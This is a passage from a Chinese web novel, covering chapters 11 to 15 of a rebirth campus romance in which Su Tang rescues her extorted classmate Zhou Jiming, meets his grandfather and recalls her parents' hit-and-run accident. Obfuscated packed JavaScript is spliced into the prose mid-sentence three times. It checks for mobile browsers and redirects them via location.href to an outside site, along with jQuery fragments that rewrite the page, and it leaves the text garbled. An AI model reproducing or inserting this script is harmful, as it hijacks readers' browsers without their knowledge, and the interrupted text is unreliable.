但她总觉得哪里不对——仿佛周既明正藏在这网吧某个她始终看不见的角落里。 思绪飘忽了片刻，她走到男厕所的门前。 “有人吗？” 没有人应答，她从门口探了半个身子进去，里面四个隔间全部敞开，小便池前也没有人。 她看到了周既明和她描述的那道暗门。 门看起来是从外面锁着的，但门缝间依稀透出的光可以推测，门只是半掩着并没有锁上。 门外是网吧的后巷，此刻正传来闷闷的争执声。 她没有离开，并且以一种奇怪的姿势在厕所门口偷听。 “上次那点钱根本不够，连挂号费都不够......看来是教训还不够，这段时间连赚钱的力气都提不起来。”一阵拳打脚踢的声音透着暗门从厕所传来，“你不是说你当游戏代练能赚很多钱吗？钱呢？” 游戏代练？ 苏棠警觉起来，不会是她认识的那个人吧。 一个虚弱和发颤的声音：“我被学校发现了，最近都没时间当代练，你再给一点......” 一声拳头落下的声音。 真的是周既明！ 血液瞬间从全身冲向苏棠的大脑，她猛地冲进厕所，一把推开那道暗门。 后巷的墙根处，一高一矮两个少年正对着半躺着的周既明拳打脚踢。 见有人来，年龄较小的那个少年猛然收住动作，“哥，有人来了！” 那张稚气未脱的脸，分明还是个初中生模样。 另一个年纪和周既明相仿的少年闻声朝苏棠望来：“有什么事？” 眼神里充满了警告。 她的目光落向仍蜷缩在那两人脚下的周既明，却见他微不可察地摇了摇头。 好像在和她说“不要插手”。 但是她不可能坐视不理。 她深吸了一口气，迅速调整好表情，装作和周既明素不相识的模样，仿佛只是一个偶然路过、前来报信的陌生人。 “警察马上要来网吧巡查，你们赶紧离开这地方。” 话音刚落，那两个原本气焰嚣张的少年便结伴离去，临走前还不忘对躺在地上的周既明撂下狠话：“这几天好好攒钱，下次还是这么少，我还揍你！” 见两人走远，她理科冲上前，将完全倒在地上的周既明扶了起来。 “你怎么样？”苏棠紧张地问道。 “真的有警察吗？”周既明脸上挤出一点笑意，仿佛在夸赞苏棠的机智。 “真的有，我们赶紧走吧。” 苏棠这才想起自己来网吧的目的。 在周既明的指引下，苏棠扶着他从后巷的右方走去，巷子的尽头有个出口，出口外面就是网吧附近的美食街。 周既明的右腿被人踢伤了，走起路来一瘸一拐。 他们出了后巷，在美食街的一棵大榕树下坐下。 12. 第十二章 苏棠给周既明检查伤口。 她把他的脸扳向自己，指尖轻轻拂过脸上的伤口。 他看起来遭受了很严重的殴打，唇角带了血丝，右侧的脸有点淤青，额头还破了皮。 “都流血了。”苏棠轻声说，眼神里满是担忧，“我去买点药。” “不......用。”周既明话未出口，苏棠就动身去买了。 片刻之后，她便拿着一小袋东西回来。 “斯——轻点。”周既明皱起眉头。 “哦哦哦，对不起对不起。”苏棠连声道歉。 她上药的动作随即变得轻柔起来，周既明脸上的伤口被轻轻地抹上了碘伏。 “身上要涂吗？” 苏棠结束了脸上的工作，眼神开始向周既明身上探去。 “脚可能被踢肿了，但是没有破皮，我刚看了。” 苏棠这才放下手里的工具。 现在，是她要搞清楚事件原委的时候了。 “他们干嘛打你？” 周既明沉默了片刻，几经张嘴又闭上，最后还是开了口，“我欠他们钱。” “你为什么欠他们钱。”苏棠问。 一阵沉默。 他始终低垂着头，唇线紧闭，大概不会告诉她事情的原委。 她暗自思忖，周既明或许是因为常年混迹网吧的关系，招惹了些地痞流氓，所以才遭人勒索霸凌。 她俯下身子，准备去提他的裤脚，检查腿上的伤势。 却在手刚触碰到裤脚时被叫停。 “你为什么会来网吧？” 苏棠把自己在自家早餐店听到的对话告诉了周既明，表示自己是前来给他“通风报信”的。 “不是说好互不干涉吗？你不用特意来救我。”他话语虽冷，但语气间透出一丝不易察觉的柔和。 “之前是我不对。”她顿了顿，把之前准备好的措辞都说了出来，“我不该在办公室举报你去网吧，更不该在你把我从更衣室拉出来后对你恶语相向，我知道是你救了我，否则我现在头上估计还要被扣上一个‘伤风败俗’的罪名。我向你道歉并且致谢，谢谢你不计前嫌，谢谢你以德报怨，我现在是负荆请罪，你能原谅我吗？” 如果不是现在是2012年，她甚至想在结尾后面来一段“听我说，谢谢你，因为有你......” 面对苏棠的喋喋不休的真诚道歉，周既明仍绷着脸，嘴角抿得死紧，眼神却故意瞥向别处。 他其实并不存在原不原谅她这一说。 他只是想和她划清界限。 并且真正让他恼火的事情并不是她刚刚提及的那些，而是那几句“我就是想和顾野亲密接触”、“我要是和他早恋我出门被车撞”。 有些难以自控的感情需要被扼杀在萌芽里。 现阶段，他忙得连喘口气的工夫都没有，哪里还有心思谈恋爱？ 更何况苏棠的态度明摆着，对他的嫌恶多于好感，这简直是把他的自尊心放在地板上摩擦。 可这几日，她又一直摆出一副不肯轻易放过他的架势。 那几个清晨，他总在打扫完包干区时，瞥见她匆匆赶来的身影。轮到她单独打扫的那几天，他故意绕着操场边缘走，分明瞧见她四下张望的模样。在教室，她也是但凡逮到机会，就会凑上前和他搭话。 他实在难以理解她这般反复无常。 尽管他一直在克制地疏远她的靠近，但眼下感觉要克制不住了。 她怎会，如此精通撩拨人的手段？ 他转过头，面向苏棠，故意冷冷地问道：“你不是喜欢顾野吗？你喜欢顾野就不要老是来掺和我的事。” 苏棠不明白，喜欢顾野，和掺和他的事，哪里冲突？ 她眨了眨眼睛，疑惑道：“这有什么关系吗？” 明明重生前，周既明正是因为发现她暗恋顾野，两人才结成同盟成为僚机，如今怎么反倒成了他们成为朋友的阻碍？ “没有关系吗？”周既明瞬间沉下脸来，冷声质问。 “虽然我不太明白有什么关系，但是我已经决定要交你这个朋友了，所以我们去哪里吃饭？”苏棠嬉皮笑脸道。 她如此跳脱的话锋一转，让周既明脸上露出难以置信的脸色。 怎么会有如此难缠之人。 两人安静了很久。 被阳光晒暖的风在他们之间流动，他们默契地没有说话，安静地看着街道上来来往往的人群。 许久，周既明说了一句：“你出来和你家里人说了吗？” 苏棠这才想起自己出门没跟许春梅报备，赶紧把手伸到口袋里找诺基亚，想打电话给许春梅。 然后，发现自己出门忘记带手机。 周既明注意到苏棠的举动，把自己的手机掏了出来：“要不然用我的？” 苏棠没回话，只扯了下嘴角，用男生手机打给许春梅，万一她回拨发现机主是个男的，自己恐怕跳进黄河都洗不清。 周既明好似猜到了她的心思，贴心的补充道：“如果你妈妈后面打过来，我不接就好了。” 她知道他向来心思缜密，但成年后的周既明不会如此温柔贴心地表达，她欣然拿过手机，开始在键盘上按许春梅的电话。 “喂，妈......”苏棠的话音未落，电话那头就开始焦急地问询。 “你一大早跑哪去了，手机也不带，担心死我了，你现在在哪里。”许春梅问道。 “我去找同学了，之前约好的，我给忘了，突然想起就匆匆出门了，连手机都忘带了。” 周既明看着苏棠面不改色地临场发挥，很是惊叹，眉眼之间露出了“真是没想到”的神情。 苏棠的通话还在继续：“那我晚上才回去，中午和同学在外面吃饭。” 说罢，她按了挂断键，把手机递回给周既明。 “你真的不回去吃饭啊？”周既明目瞪口呆地望着她。 “对啊，不是和你一起吗？”苏棠的语气里满是理所当然。 她单方面武断地决定了午饭要和周既明一起吃，这种决策对她而言非常的合情合理，因为周既明在未来就是她顺位第一的饭搭子。 他不仅厨艺绝佳，而且仿佛自带了美食雷达，他找的那些饭店都让苏棠赞不绝口。反观苏棠，她不仅不会下厨，就连精心攻略找的餐厅都十有八九会踩雷。 所以，在吃饭这件事情上面那，她无限信任且依赖周既明。 现在，她动了一个心思，她想看看高中的周既明会带自己去吃什么美食，会不会和成年后的周既明有很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180866|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的取向上的差异。 周既明被眼前人的厚颜无耻所震撼。 他决定戏弄一下她。 “那要不然，你和我一起回家？”周既明说。 苏棠愣了，她没想过这个局面有这种解法。跟他回家，这话听起来让人浮想联翩。她很想就此应允，但又有些迟疑。 她并非没有和周既明独处一室过，但那是成年后与她熟络的周既明。 大学毕业后，她经常去周既明的出租屋串门。他们住的地方隔得不远，在同一个城中村里，每到周末，苏棠就会求周既明做饭给自己吃。周既明的出租屋是一个很小的一室一厅，进门的走道旁就是开放的厨房，橱柜里摆放着周既明买的一大堆各式各样的烹饪工具。 她在没尝过他的厨艺之前，曾经揶揄过他“差生文具多”。 “真正的大厨是不需要那么多辅助工具的，他们只需要一把刀一个锅，就可以烹饪出美味的食物，把握住美食的本质。” “那你吃外卖。”周既明人狠话不多。 “欸欸欸，我错了，周大厨，求求你，让我少吃一顿地沟油吧。”苏棠做哀求状。 周既明刚和苏棠一起买来的菜放在了灶台上，然后在橱柜里开始翻找待会要用的烹饪工具。 而苏棠则自己去客厅的沙发上坐着，百般无聊地刷手机等饭好。 饭菜还没上桌，苏棠就知道自己轻视了周既明。 实在是太香了，是白萝卜炖牛腩。 她赤着脚跑到周既明跟前，催促他的做饭进度。 “周大厨，好香啊，还要等多久啊，肚子快饿扁了。” 她从灶台上拿了一双筷子，准备去夹一块锅里还在炖着的牛腩，手刚伸过去，就被周既明握住。 “还没好，而且你那个筷子是我用来夹生肉的，乖，再等一会儿。” 周既明少见的温柔让苏棠内心颤动了一下，她有点迷离地沙发处走，不敢再靠近灶台。 她听到了她加速的心跳声，却不能让他察觉。 他喜欢程望舒啊，他们可是最坚固的“暗恋联盟”，她怎么可以对自己的盟友动心。 没过多久，苏棠吃上了周既明端上来的“家常便饭”——一锅白萝卜炖牛腩，一盘番茄炒鸡蛋，一盘煎炸小黄鱼，一小碗凉拌木耳，以及一锅西洋菜猪骨汤。 “差一个菜就凑齐五菜一汤了。” 苏棠和周既明在沙发前的地板上席地而坐，他们面前放了一个临时的小饭桌，是那种可折叠的小桌子，上面整齐地摆放着刚端上来的饭菜。 “拍个照吧。”周既明说。 苏棠正准备动筷子，周既明却起身去拿手机。 他什么时候变得这么有仪式感？ 一切仪式完成后，两人开始吃饭。 苏棠一顿狼吞虎咽，她实在是吃厌了科技园那些预制菜了，眼前的饭菜明明不重口，吃进嘴里却是鲜活的味道，是烟火气的味道，是食物之间发生化学反应后的味道，是家的味道。 她再次愣住了，停止了进食，狠狠地摇了摇头。 “怎么了，不敢了是吧。”眼前的周既明看着苏棠陷入沉思又突然摇头，以为她对自己的提议心生退意。 但苏棠却抬起头，直视他的眼睛：“敢啊，我跟你回家。” 13. 第十三章 她扶着他走过了一个街区，来到了一个房龄有点老的小区，是那种层高只有六七层高的老式住宅楼。 “没有电梯，要辛苦爬一下楼梯了。”周既明脸上难得浮现一丝羞赧。 苏棠望了一眼他的脚，表情有点担心：“我没关系，倒是你的脚......你家住几楼啊。” “五楼。” 确实有点为难人。 苏棠停下了脚步，深吸了一口气，表情坚定：“要不然，我背你上去吧，省的伤口加重。” 她随即做出微微下蹲准备背人的动作。 周既明被她的举动惊吓到了，表情有点控制不住：“不......用，不用，我扶着扶手上去。” 苏棠直勾勾地看着他：“你是不好意思吗？还是信不过我。” 周既明勾嘴笑：“信不过你。” 苏棠陷入了短暂的思考。 两人就这样伫立在原地。 许久，苏棠想出了一个方案。 “那我扶着你一只手，你另一只手抓着楼梯扶手，然后你用你没受伤的那只脚单脚跳上去，你觉得怎么样？” 周既明本想回答，其实她不用扶他，他两只手都攀着楼梯扶手，也可以实现单脚跳上楼梯这个方案，而且更好把控身体的受力。但，他看到她誓要帮忙的样子，他应允了下来。 于是，在苏棠的指导下，周既明一手扶着楼梯扶手，一手的手臂被苏棠紧紧撑着，吃力地一阶一阶地单脚跳上楼梯。 楼梯扶手在左侧，他的右手被苏棠撑着的同时随着身体的上升前进而前后摆动。他的手肘，在重心不稳地几次，重重地砸向了她左侧的胸口。 但她没有丝毫反应。 这女人是故意的吧。 他耳后泛起一阵灼热，呼吸不知是负重运动还是被撩拨心弦的缘故，逐渐变得粗重起来。 “很累吗？要不要休息一下。”苏棠在他耳边问道。 呼出的热气拂过他的右耳，让他心跳不自觉地加快了频率，他加速向前跳去。 就这样，在荷尔蒙的加速下，他被扶着跳上了五楼。 他示意她可以松手，然后拿出口袋里的钥匙，开门。 钥匙刚插进钥匙孔里，门从里面被打开。 一个两鬓苍白的慈祥老人走了出来：“既明，你咋这么晚才回来，我都把饭做好了。” 原来并不是独处一室，他家还有人。 苏棠连忙问好：“爷爷，你好，我是周既明的同学，他的腿受伤了，我送他回来。” “同学，你好。”老人先是回应了苏棠的问好，然后端详了一眼周既明脸上的伤口，又俯身去提周既明的裤脚，想看他腿上的伤势，“怎么会搞成这样，你去和人打架了？” “不是的，是我摔的。” 周既明艰难地把老人扶了起来，执意不让他看伤口。 苏棠见状帮腔道：“对，爷爷，周既明从电动车上摔下来了，我们一群同学约着出去玩，他想试一试我们同学骑去的电动车，没想到控制不好摔下来了。” 周既明怔怔地看着胡诌的苏棠，很想给她竖一个大拇指。 之前怎么没发现她有这样信口开河的本领。 其实，苏棠也不算信口开河。 大三的时候，为了能在实习单位和学校宿舍之间通勤，她斥巨资买了一台电动车。她花了半个月才学会怎么骑，学会的那个下午她就邀请周既明当她的第一个乘客，载他在校园的林荫道里穿梭。 然后，就理所当然的发生了事故——后方一辆疾驰的电动车从他们身旁超车，苏棠受到惊吓控制不好重心，然后车撞上了路旁的大树，两人从车上翻滚了下来。 摔下来的瞬间苏棠被周既明护住，半个人被他裹住后摔下，只是右手擦破点皮，而周既明则西提右腿小腿骨折，喜提一具石膏和实习延期半个月。 他们在老人的招呼下进了屋，看到饭厅的桌上已经摆好了饭菜和餐具。 苏棠闻着空气里的饭香，得出了一个结论。 周既明的厨艺是从这个老人这里继承的。 饭桌上。 “同学，你叫什么名字呀。”老人问道。 苏棠放下手里的碗筷，认真地回答道：“苏棠，苏州的苏，海棠花的棠。” 老人见状，也放下碗筷，一板一眼地自我介绍：“苏棠同学你好，我是周既明的外公，我叫张建国。” 苏棠和周既明都被逗笑了。 可能是考虑到本来只有两个人吃饭的缘故，张建国只做了两菜一汤，是苏棠熟悉的白萝卜论牛腩、番茄炒蛋和西洋菜猪骨汤。 相似的菜单，几乎相同的味道。 苏棠看着正在给张建国夹菜的周既明，觉得场面很是温情。 她下意识地说：“所以周既明的厨艺，都是外公传授的咯。” 周既明轻点了下头：“你怎么知道？” “猜的，你既然邀请我来你家，我以为你要做饭，推测出你厨艺一定很好。”苏棠意识到自己又“未卜先知”，赶紧用筷子扒了两口饭，然后伸手去夹牛腩。 周既明已经习惯她信口开河的样子，他没应话，埋头吃饭。 很快，桌面上的饭菜就被一扫而空。 张建国招呼苏棠去客厅的沙发上坐，又是倒茶又是端水果，很是热情。而周既明则在厨房里收拾清洗碗筷。 张建国正在削苹果，抬头向苏棠问道：“苏棠，吃苹果吗？” 苏棠刚刚吃了很多饭，虽然菜不多，但她用白萝卜炖牛腩的汁拌饭吃，干掉了两大碗白米饭，此刻饱腹感满满，但她不好拒绝老人的好意。 “吃一小块。”她怕对面给她切的太多，特意用夸张的手势比了一下，表示她真的只需要一小块。 对面递过来小小一块苹果，大小和形状都让苏棠很满意，“谢谢外公。” 张建国切着剩余的苹果：“苏棠和我们既明在学校是不是关系很好。” 苏棠：“还行，挺好的。” “你是他第一个带回家的同学呢。”张建国停顿了一下，迟疑地问，“他在班上人缘好吗？” 苏棠很疑惑张建国为什么会这样问，周既明在学校的朋友圈虽然没顾野那么门庭若市，但也不会显得过于孤僻。他是班上的副班长，平日里掌管男生们的事务，虽为人低调但做事认真负责却又不失灵活，班上的男生都很服他。 “挺好的啊，副班长耶，怎么会人缘不好。”苏棠说完咬了一口苹果。 她看到周既明从厨房走到饭厅，朝这里看了一眼，收下饭桌上剩余的碗后又回到了厨房。 “那他怎么一有空就往网吧跑，也不见他找同学玩。”张建国刻意压低了声音，回头看了看饭厅，发现周既明还在厨房，又开始低声地说，“我偷偷跟过他几次，看见他自己一个人在网吧打游戏。” 所以，周既明去网吧这件事情，也并没有他想象的隐蔽得那么好。 苏棠想不到很好的解释，只能附和着说：“这样吗？我看他在班上一切正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180867|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，学习也很好，同学关系也很好，可能只是偶尔放松吧。” 但她突然想起周既明刚刚在网吧后巷被人打的事情，连忙压低声音补充：“但是我怀疑他确实惹上了一些不太好的人，外公你可以多多关注一下。” 老人担心地点点头。 “周既明上学的时候，外公你一个人住吗？”苏棠打探到，她想打探周既明身边还有没有可以依靠的其他成年人。 张建国：“平时就我自己一个人，他爸爸过节可能会过来看一下。” 周既明确实如他在教务处哭诉那般，娘不在爹不管。 她轻叹了一口气，心中愈发坚定要善待这位可怜的朋友。 两人吃着苹果，沉默了须臾。 “你们在聊什么？”周既明洗完碗过来了，手里又端了一盆洗过了的葡萄。 苏棠：“没聊什么啊，就一些学校里的事情。” 周既明一副将信将疑的表情，他坐在了苏棠旁边，距离不远不近。客厅三个人呈L字型坐着。 见周既明来了，张建国起身离开，走进了自己的房间。 一会儿过后，他拿出几本叠在一起的相册，兴高采烈地和苏棠说：“苏棠，我们一起来看既明小时候的照片吧。” 苏棠对这个场景异常熟悉——典型的电视剧套路：主角的家人总爱和别人分享主角小时候的糗照，主角必定不好意思地争执一番，最后又不得不妥协，和他们一起翻看那些泛黄的老照片。 她饶有兴致地等着周既明的反应，偷偷观察着他的表情。 但出乎意料的是，他很平静。 习以为常的表情里甚至带了点温柔，他正带着不易察觉的笑意望着张建国。 苏棠没见过这么温柔的周既明，她有点动容。 她向张建国靠近，看他翻开叠在最上层的那一本相册。 泛黄的相册被缓缓地翻开，映入眼帘的是一个躲在窗户后面往外看的小男孩，年龄看起来只有两三岁的样子——小小的身体只露出一个头和两只伏在窗户边上的手，白皙的脸上是怯生生的眼神。 苏棠很想知道他在看什么：“他在干什么？” “这是我们的第一次见面。”张建国的手抚摸起了照片，“我之前在北方当铁路工人，既明出生以后我一直到他两周岁才回来看他。我当时特意和人借了一台相机，就为了记录我们的第一次见面。他当时听到有声音，从卧室的窗户探出一个头，怯生生地看着我，然后问了一句‘你谁？’。哎呀，我当时......这个小东西，怎么一下就长这么大了。 苏棠注意到张建国有点哽咽，她也感觉喉咙有点酸酸的。 她最最抵抗不了这种亲情戏码。 她用余光瞥了一眼周既明，发现他也在静静地听，脸上写满了动容。 张建国继续往下翻：“这是既明五岁的时候，当时他爸要把他放幼儿园，我和他妈妈极力反对，我和他妈妈每天轮流带他出去和小朋友玩。这些都是他小时候的女朋友。” 他指着一张周既明被一群小女孩包围的照片，照片里小女孩们都抢着要去抱他。 是啊，白白净净又斯文的小男孩，小女孩们最喜欢了。 苏棠自己也拿了一本相册，翻了起来。 她指着其中一张周既明在公园前门口比耶的照片问道：“他小时候去过平县吗？这是不是平湖公园。” 平县是她高中以前居住的地方。 “他爸在平县，他过年过节会去。”张建国回答道。 14. 第十四章 “过年过节才会去？” 苏棠茫然抬头，她不太理解这句话的意思。 “我爸妈很早就离婚了，我一直跟我妈还有外公住在黎城，过节会去平县看一下我爸。” 周既明解释。 他倒是对他家里的事毫不遮掩。 “所以你初中不在平县读咯？”其实她只是想确认这件事。 周既明狐疑：“对啊，我初中在黎城二中。” 她暗自松了口气。 全班乃至整个年级，除了她和黎曼君，应该没有第三个来自平县的人了。 这是她高一刚入学就确认过的事情。 她回忆起高一上学的第一天—— 教学楼前的公告栏前，她仔仔细细地查看了全级的录取信息。 那个时候对学生的信息保护意识还没有那么强，学生的中考成绩、原先就读的初中以及所在的县市等相关信息就那么华丽丽地跟在了新生姓名和所属班级后面。苏棠仔仔细细从头到尾地把公告栏的录取榜单浏览了一遍，低声嘟囔一句：“不幸中的万幸......” 虽然不得不与最厌恶的初中同学黎曼君同班，但万幸的是，除她之外再无其他平县的人考进这所学校。 单就一个黎曼君，她想她尚能应对。 她前前后后确认了几遍，除了几个只写了姓名和班级没有标注其他信息的学生无法确认以外，其他人她都排查了一遍。 那几个只标注了姓名和班级的学生她也都没有任何印象，大概是市里的或者是其他县城的。 她的恐惧瞬间得以释放。 想到这里，她像当时一般，长舒了一口气。 “怎么了？你在平县有什么见不得人的事？”周既明见状揶揄道。 她猛地抬头，恶狠狠看向他。 嘴真毒！ “既明，不要这样说话。苏棠可能只是想看看你们是不是老乡。”张建国见两人氛围不对，赶紧打圆场。 “好好好，我错啦，苏棠同学，对不起。”说罢，他起身走到张建国身旁，“所以您老准备去午休了吗？” “我不困，今天不睡也可以。”张建国仍恋恋不舍地翻着相册。 “不——行。”周既明不愿和张建国讨价还价，收起散落在茶几上的相册，径直往张建国的房间走去，“我平时上学我管不了你，周末不行。” 张建国拗不过他，只能跟着进房间。 苏棠看着张建国那无奈的背影，不禁笑了起来。 这一老一小，可真有意思。 周既明安顿好老人后，出来准备送苏棠下去。 “你不用送我下去了，你赶紧去擦药酒吧。”苏棠拒绝他要送她下去的请求，“刚刚还是我扶你上拉来的呢，逞什么强。” 周既明被她一提醒，再度想起楼梯间和她的“亲密接触”，瞬间感到脸颊微热。 “你咋脸红了。”苏棠上前打量了一番周既明的脸，压低了声音，疑惑地问道，“你不是被打发烧了吧？应激了吗？” 他喉结滚动了一下。 这厮是故意的吧，她怎么可能一点都察觉不到。 现在又靠自己这么近！ 他连忙打发苏棠，“赶紧回去吧，那我就不送了，你到家记得给我发个短信。” 随即门被迅速的关上。 “呵，刚才还说要送我下来......” 苏棠盯着砰然关上的门，小声嘟囔了一句。 她走下楼去，却在踏出楼栋大门的瞬间，迎面撞见了看起来守候多时的黎曼君。 黎曼君迎了上来，看来确实是特意在等她，“苏棠，你去副班长家？” 看来，他们进小区的时候，被黎曼君看见了。 “对啊，怎么了？”她警觉地望着黎曼君，“你也住这个小区？” 黎曼君点点头，“高中以后我就从平县搬来这里了。” “有什么事吗？没什么事我先走了。”她不想和这人多呆一秒。 “苏棠，你为什么总是对我充满着敌意啊，我们初中不是关系很好吗？”黎曼君摆出一副楚楚可怜的样子。 “我没有，你想多了，我先走了。” 见黎曼君仍是那套陈词滥调，她随意敷衍了几句，转身便走。 高中时期，黎曼君但凡逮到机会便会凑上来套近乎，却总被她冷着脸拒之门外。 原因无他，她只是不愿再与任何知晓她家庭境况的人产生瓜葛，那只会让她不断坠入那段苦痛的回忆—— 初二下学期临近期末，苏棠正在一堂物理课上记着学期末重点，班主任张穗突然闯进了教室，她脸色苍白，神情紧张，大声呼喊着苏棠的名字。 “苏棠，苏棠，快出来！” 走廊上，张穗拉着苏棠的手，向校门口飞奔。 “你爸妈出车祸了，现在在医院抢救。” 苏棠到了医院急诊大厅的时，首先和她接触的是处理事故现场的交警。 “你是苏棠，你是她老师？” 穿着警服的男人看了看只有初中年纪的苏棠，转身去问她身旁的张穗，在得到张穗肯定的答复后把张穗叫到了一旁。 “涉事车辆严重超速，肇事后逃逸了。”男人吸了一口气，顿了顿接着说，“那个，男受害者当场死亡，女的现在还在抢救。” 张穗双腿一软，感到头晕目眩，“她妈妈在哪个急救室？” “跟我来。” 张穗顶着压力拉起在急救大厅中央的苏棠的手，跟着交警过去。 她们来到了急救室门口，急救室门上的提示牌滚动着手术中的字样。 “苏棠......”张穗的声音止不住的颤抖，“你爸爸已经离开了。” 这个正值中年的女教师几乎是含着泪和苏棠说完了这句话。 “啊......”苏棠还没能从巨大的冲击中缓解过来，愣愣地轻声“啊”了一下，然后几秒之后，放声地哭了出来。 张穗用手紧紧地捏着她的手臂，用极其狠厉的语气和她喊道。 “振作一点，你妈妈还在抢救，现在还不能哭。” 苏棠被突如其来的历喝震慑住，愣在了原地，眼神发懵。 一旁的交警突然上前，说了一句：“肇事者抓到了。” 张穗看着抢救室大门上方仍亮着的红灯：“苏棠，你家里有比较熟的亲戚吗？需要联系他们，让他们来处理，你妈妈......醒来可能也没办法处理，最好找一个亲戚。” 苏棠呆呆地站在原地，视线跟着张穗一起朝亮着的红灯看去，整个人仿佛大脑宕机一般，没有其他任何反应。 许久，她用颤抖的声音说了一句：“可以找我姑姑。” “你姑姑叫什么名字。” “苏望楠，希望的望，木字旁南方那个楠。”苏棠的声音哑了，“但我不知道她电话。” “好。”张穗转身去打电话，“喂，李主任吗？嗯，是我。那个可能要联系一下她的姑姑，但是她没有联系方式，可能要学校出面去找公安协查。” 张穗挂了电话以后叮嘱苏棠在抢救室门口等着哪里都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180868|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要去，然后走到走廊尽头去打另外一个电话。 苏棠记得，张穗那天一直在打电话，直到她的妈妈从抢救室被推出来，她的电话依然没有停下。 许春梅被抢救成功，被推入病房后不久就醒了过来。 “走不走啊，停在那干嘛？” 一声刺耳的怒骂声从苏棠身后响起，打断了她的回忆。 是一辆电动摩托车。 她恍然回神时，发现自己已从周既明住的小区，走到了上午那条美食街。 她往一边挪了挪，电动车从她身边疾驰而去。 幸好，回忆里最痛苦的部分因此被打断跳过了，等她回过神来，想起的是车祸后四处奔走的日子。 许春梅苏醒后很长一段时间都无法下床，生活也无法自理，所以没能力去处理起诉肇事者的相关事宜。 苏棠的姑姑也只是走个过场，事故当天假模假样地来医院哭了一场之后，就再也联系不上了。 雪上加霜的是，交强险的赔偿金很快就用完了。肇事者电话里的一句“没钱”后，就彻底失联。 眼看许春梅的医疗费开始欠费，苏棠只能求助于班主任张穗。 张穗的丈夫在媒体行业工作，新闻圈人脉广，她牵线搭桥，帮苏棠联系了几位媒体人。 其中一个姓张的记者给苏棠出了个主意，让她带着全家福去事故现场哭诉，然后他以此做一篇报道，希望引起社会的广泛关注。 苏棠只能答应。 于是，就在那个周末，本地报纸和电视台纷纷报道了苏棠父母遭遇的惨案。新闻中使用的配图，正是苏棠手捧着全家福站在案发路边，含泪控诉肇事者的画面。 一夜之间，消息如野火般席卷整个平县，甚至蔓延至黎城。 媒体采访的邀约如雪片般飞来，一些社会人士纷纷表示要给苏棠捐款，而更值得庆幸的是，一位律师主动联系了苏棠，表示愿意无偿为她代理这场官司。 同时，学校为她家发起募捐，从平县一中开始，很快扩展到周边中学。 当时的苏棠，从切身的经历里面中学会了一个词“贩卖悲惨”。 面对媒体的采访，她几乎都可以瞬间调动自己的悲伤情绪。她知道媒体想要什么，也知道“卖惨”是她一个未成年初中生此刻能做的唯一有用的事情。她声泪俱下地讲述着她和爸爸生前的故事，义愤填膺地向媒体控诉肇事者的恶行，乞哀告怜地希望法律能够严惩肇事者。 事故发生的八个月后，案件迎来了第一次庭审。 因为这起案件被媒体广泛关注，且肇事者有逃逸情节，一审就判了肇事者五年有期徒刑以及128万的赔偿金。当时苏棠和许春梅都觉得五年的刑罚太低，抵不过一条人命，但是律师却表示这已经算是重判了，且肇事者没有上诉意愿，这已经是最好的结局了。 苏棠走到许家早餐店附近的老街时，去便利店里买了一瓶冰水。 她刚刚经历了回忆里的惊涛骇浪，心情还不能平息。她打开矿泉水瓶盖，一口饮了下去。 透彻心扉的冰凉传遍全身，她感到稍微平静了一点。 这正是她如此畏惧高中同学中出现平县同乡的缘由。 这也是她咬牙担任三年“老好人”班长的原因。 她精心经营的班长威望，让黎曼君在班上三缄其口，不敢轻易向他人透露她的家世背景。 不能被人发现自己沉痛的过往，是苏棠开启新生活的唯一路径，这是刚上高一的苏棠的真实想法。 而现在的她仍然持有相同的想法。 15. 第十五章 苏棠离开后，周既明独自站在阳台，准备目送她的背影。 他看见她在楼下停下脚步，与黎曼君交谈起来。 但两人并未深谈，短短几句便结束了对话。 然后，苏棠走出了小区大门。 刚刚明明已经躺上床的张建国不知何时已踱到他身边，顺着他的视线望去：“看啥呢？人都走没影儿了。” “嗯。”他含糊地应了一声，目光仍驻足在远处那个渐小的黑点上。 “既明。”张建国的语气突然变得有点严肃，“你是不是认识了一些不好的人。” 刚刚在洗碗的时候，周既明有在留心厨房外的交谈。 中间两人一度压低音量说话，大概就是在讲这件事。 “没有啊。”他的眼睑懒而淡地掀起，“苏棠告诉你的吗？我和她也不熟，她也不了解我的情况。” 张建国直勾勾地盯着他，眼神里写满了怀疑，“就算她不说，我心里也怀疑。你这伤，不是摔的吧？” 这老头，没苏棠想的好骗。 但他只能硬着头皮圆下去，“真的是摔了，电动车侧翻，我这脚被死死卡在那车下面，就像这样。” 他一边说，一边摆出夸张的姿势，去还原一个不存在的场景。 见他这阵仗，张建国将信将疑，“真的？” “真的啊，我都准备找那个同学拿点医药费。”他咬牙切齿的说。 